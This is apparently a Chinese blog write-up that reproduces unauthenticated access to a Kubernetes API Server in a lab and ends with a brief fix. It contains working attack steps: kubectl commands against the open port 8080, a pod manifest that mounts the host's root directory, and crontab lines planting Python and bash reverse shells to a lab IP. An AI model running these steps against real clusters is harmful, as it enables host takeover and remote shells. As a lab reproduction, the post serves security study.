Kubernetes Api Server未授权访问

免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!

简介

kube-apiserver 是 Kubernetes 最重要的核心组件之一,主要提供以下的功能

  • 提供集群管理的 REST API 接口,包括认证授权、数据校验以及集群状态变更等
  • 提供其他模块之间的数据交互和通信的枢纽(其他模块通过 API Server 查询或修改数据,只有 API Server 才直接操作 etcd)

根据官方文档,API Server默认会开启两个端口(低版本):Localhost Port/Insecure Port(8080)和Secure Port (6443)

1.Insecure Port(Localhost Port)

  • 默认端口8080,当--insecure-port值默认为0,表示此端口默认是关闭的。如果需要开启 HTTP 非安全端口模式,可以把 --insecure-port 值设置为8080
  • 默认IP是本地主机,修改标识 --insecure-bind-address
  • 在HTTP中没有认证和授权检查
  • 主机访问受保护

2.Secure Port

  • 默认端口6443,标识--secure-port
  • 默认IP是首个非本地主机的网络接口,修改标识 --bind-address
  • HTTPS服务。设置证书和秘钥的标识,--tls-cert-file,--tls-private-key-file
  • 认证方式,令牌文件或者客户端证书
  • 使用基于策略的授权方式

其中8080端口无需认证,6443端口需要认证且有TLS保护,正常情况下 Api Server 是有权限控制的,分三种:Authentication、Authorization、AdmissionControl

如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限,甚至通过创建自定义的容器去获取宿主机的权限。
在1.10版本k8s ChangeLog文档中提出弃用并在将来废除不安全标志

The ability to use the insecure flags --insecure-bind-address, --insecure-port in the apiserver has been deprecated and will be removed in a future release. Use --secure-port and --bind-address instead.

https://github.com/kubernetes/kubernetes/pull/59018

kubernetes/CHANGELOG/CHANGELOG-1.10.md at master · kubernetes/kubernetes · GitHub

从 v1.20 开始,--insecure-port该端口将被永久禁用,并在以后的版本中删除该标志。官方文档描述如下:

ACTION REQUIRED: The kube-apiserver ability to serve on an insecure port, deprecated since v1.10, has been removed. The insecure address flags --address and --insecure-bind-address have no effect in kube-apiserver and will be removed in v1.24. The insecure port flags --port and --insecure-port may only be set to 0 and will be removed in v1.24

https://github.com/kubernetes/kubernetes/pull/95856

kubernetes/CHANGELOG/CHANGELOG-1.20.md at master · kubernetes/kubernetes · GitHub

环境搭建

使用metarge搭建k8s低版本

https://github.com/Metarget

./metarget gadget install k8s --version 1.16.5 --domestic

漏洞复现

修改

/etc/kubernetes/manifests/kube-apiserver.yaml

文件,添加

  - --insecure-port=8080     
  - --insecure-bind-address=0.0.0.0 

image

重启

kubectl systemctl restart kubelet
netstat -tlnp | grep kube-apiserver #查看8080是否正常监听

image

漏洞验证

直接访问 8080 端口会返回可用的 API 列表

image

漏洞利用

利用方式按严重程度来说分两种,一种是直接通过利用 kubectl 客户端调用 Secure Port 接口去控制已经创建好的容器。另外一种利用方法就是通过创建一个自定义的容器将系统根目录的文件挂在到/mnt目录,通过修改/mnt/etc/crontab 来影响宿主机的 crontab,获取一个反弹 Shell 拿到宿主机的权限。

通过下面命令,去发现已经存在的容器

kubectl -s ip:port  get pods 获取pod

image


// 获得所有容器
> kubectl -s 192.168.47.195:8080/ get pods --all-namespaces=true

// 在 myapp 容器获得一个交互式 shell
> kubectl -s 192.168.47.195:8080/ --namespace=default exec -it myapp bash

image

能够控制pod的运行(此步骤与下面获取宿主机权限pod操作没有联系,这一步进入myapp pod是测试时主机只有一个myapp pod,作用是可以通过k8s API获取远程主机上pod的shell权限,若有其他pod修改pod名称即可进入获取对应pod shell权限)
若想进一步提升控制权限,获得宿主机的shell权限,可通过创建一个pod -> 挂载宿主机目录 -> 写 /etc/crontab 定时任务反弹 shell
根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml,将节点的根目录挂载到容器的 /mnt 目录(也可以挂到其他目录如/tmp等)。

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

然后使用kubectl创建pod

kubectl -s 192.168.47.195:8080 create -f myapp.yaml 

image

pod没有创建成功根据内容提示需要添加参数 --validate=false,添加参数重新执行

 kubectl -s 192.168.47.195:8080 create -f myapp.yaml  --validate=false

image

创建成功。获取pod的交互式shell


> kubectl -s 192.168.47.195:8080 --namespace=default exec -it myapp bash

将反弹语句写入定时任务(为何不使用bash反弹语句写入定时任务,稍后说明)

echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.47.170\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

image

查看监听端反弹成功
image

bash反弹利用
在将反弹shell写入定时任务时,一开始是使用bash反弹写的

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.47.170/3378 0>&1\n" >> /mnt/etc/crontab

发现监听端没有成功建立连接,查看靶机/var/log/syslog

image

k8s是部署在ubuntu系统上的,Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,由于没有安装邮件系统无法查看真实的错误,只能看到(CRON) info (No MTA installed, discarding output),修改定时任务的反弹语句

* * * * * root bash -i '>&/dev/tcp/192.168.47.170/3378 0>&1'>/tmp/error1.txt 2>&1

查看error1.txt文件
image

第一行:无法设定终端进程组
第二行:此shell中无任务控制

错误说/bin/bash没有被找到,linux里面的cron中command执行的shell环境是/bin/sh,看下ubuntu的/bin/sh

ls -l | grep -w 'sh'

image

可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell,而实际上dash这个shell只有运行脚本的能力,而没有交互能力。这里我们只需要将修改sh的软链接为bash即可

ln -s -f bash /bin/sh

再次查看

image

按照上面写定时任务步骤写入bash反弹语句,监听端监听主机后成功建立连接

image

这种方法修改k8s宿主机上配置,所以没有使用这种反弹方法。

修复

对Kubernetes API Server增加认证和授权配置
https://kubernetes.io/docs/reference/access-authn-authz/authentication/#static-password-file

参考

攻击容器集群管理平台

Kubernetes Api Server 未授权访问漏洞 | Brickの小黑屋 (moyu.life)

通过kubectl攻击存在未授权访问漏洞的Kubernetes · Issue #6 · zj1244/Blog (github.com)

kubernetes/CHANGELOG at master · kubernetes/kubernetes · GitHub

posted @ 2023-07-02 11:24  axing的星空  阅读(1296)  评论(0编辑  收藏  举报